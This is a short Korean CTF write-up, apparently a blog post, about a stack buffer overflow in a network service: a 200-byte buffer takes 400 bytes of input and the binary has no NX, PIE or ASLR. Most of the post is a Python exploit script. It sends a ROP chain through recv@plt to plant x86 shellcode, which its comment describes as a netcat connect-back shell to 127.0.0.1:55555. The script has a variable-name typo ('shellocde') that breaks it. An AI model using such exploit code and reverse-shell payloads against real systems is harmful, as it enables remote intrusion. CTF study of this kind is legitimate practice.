&dest 의 크기는 200byte 이지만 recv_buffer 에서 400byte 만큼 입력받을 수 있기에 오버플로우 취약점이 존재한다.
NX, PIE, ASLR 등 어떠한 방어 기법도 적용되어 있지 않기에 간단하게 문제를 풀 수 있다.
- - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - - - -
from socket import *
from struct import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('192.168.127.140', 7777))
p = lambda x: pack("<L", x)
# shellcode - "nc 127.0.0.1 55555"
shellcode = "\x68\x7f\x00\x00\x01\x5e\x66\x68\xd9\x03\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xce"
recv_plt = 0x08048780
freespace = 0x0804b0a0
p4ret = 0x0804947c
payload = "A"*240
payload += p(recv_plt)
payload += p(p4ret)
payload += p(4)
payload += p(freespace)
payload += p(len(shellocde))
payload += p(0)
payload += p(freespace)
print s.recv(1024)
s.send("write" + payload)
s.recv(1024)
s.send(shellcode)
s.close()
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[Plaid 2013 CTF] pork (0) | 2016.06.03 |
---|---|
[CodeGate 2014 CTF] nuclear (0) | 2016.04.19 |
[CodeGate 2014 CTF] AngryDoraemon (0) | 2016.04.14 |
[Plaid 2013 CTF] ropasaurusrex (0) | 2016.03.24 |
[HolyShield 2016 CTF] Vulnerable_Protocol (0) | 2016.01.26 |